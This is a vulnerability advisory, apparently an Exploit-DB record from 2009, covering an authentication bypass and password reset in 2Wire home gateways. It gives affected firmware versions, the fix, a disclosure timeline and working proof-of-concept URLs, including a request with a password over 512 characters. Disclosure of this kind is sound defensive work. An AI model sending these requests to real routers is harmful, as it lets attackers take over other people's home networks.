2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET

vendor:

2Wire Gateway

by:

Unknown

5.5

CVSS

MEDIUM

Authentication Bypass & Password Reset

287

CWE

Product Name: 2Wire Gateway

Affected Version From: 5.29.51, 3.17.5, 3.7.1

Affected Version To:

Patch Exists: YES

Related CWE:

CPE: a:2wire:2071_gateway, cpe:/a:2wire:1800hw, cpe:/a:2wire:1701hg

Metasploit:

Other Scripts:

Platforms Tested:

2009

2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET

There is an authentication bypass vulnerability in page=CD35_SETUP_01 that allows you to set a new password even if the password was previously set. By setting a new password with more than 512 characters, the password gets reset and next time you access the router you will be prompted for a new password.

Mitigation:

Upgrade to firmware version 5.29.135.5 or later

Source

Exploit-DB raw data:

2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET (08/04/09)
==============================================================


  DESCRIPTION
-----------------
There is an authentication bypass vulnerability in page=CD35_SETUP_01 that
allows you to set a new password even if the password was previously set.

By setting a new password with more than 512 characters the password gets
reset and next time you access the router you will be prompted for a new
password.


  VULNERABLE
----------------
2Wire 2071 Gateway
2Wire 1800HW
2Wire 1701HG

 Firmware
5.29.51
3.17.5
3.7.1

  NOT VULNERABLE
--------------------
 Firmware
5.29.135.5 or later


  DISCLOSURE TIMELINE
-------------------------
03/27/2009 - 2wire Contacted no satisfactory response
07/11/2009 - Sent complete details to 2wire no response
07/17/2009 - Sent advisory with video demo to 2wire ticket status escalated, but no response
08/02/2009 - Made public @ Defcon 17


  EXPLOIT/POC
-----------------
Authentication Bypass - just use this page to set a new password

    http://gateway.2wire.net?xslt?page=CD35_SETUP_01

Video: http://www.hakim.ws/2wire/2wire_CD35_Bypass.ogv


Password Reset - using the same form but sending a password > 512 characters

http://gateway.2wire.net/xslt?PAGE=CD35_SETUP_01_POST&password1=hkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkh
kmhkmhkmhkmhkmhkmhkmhkm&password2=hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkhkmhkmhkmhkmhkmhkmhkmhkm

Video: http://www.hakim.ws/2wire/2wire_CD35_Reset.ogv


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------------
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  Comunidad Underground de Mexico : https://www.underground.org.mx


            h k m
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# milw0rm.com [2009-08-12]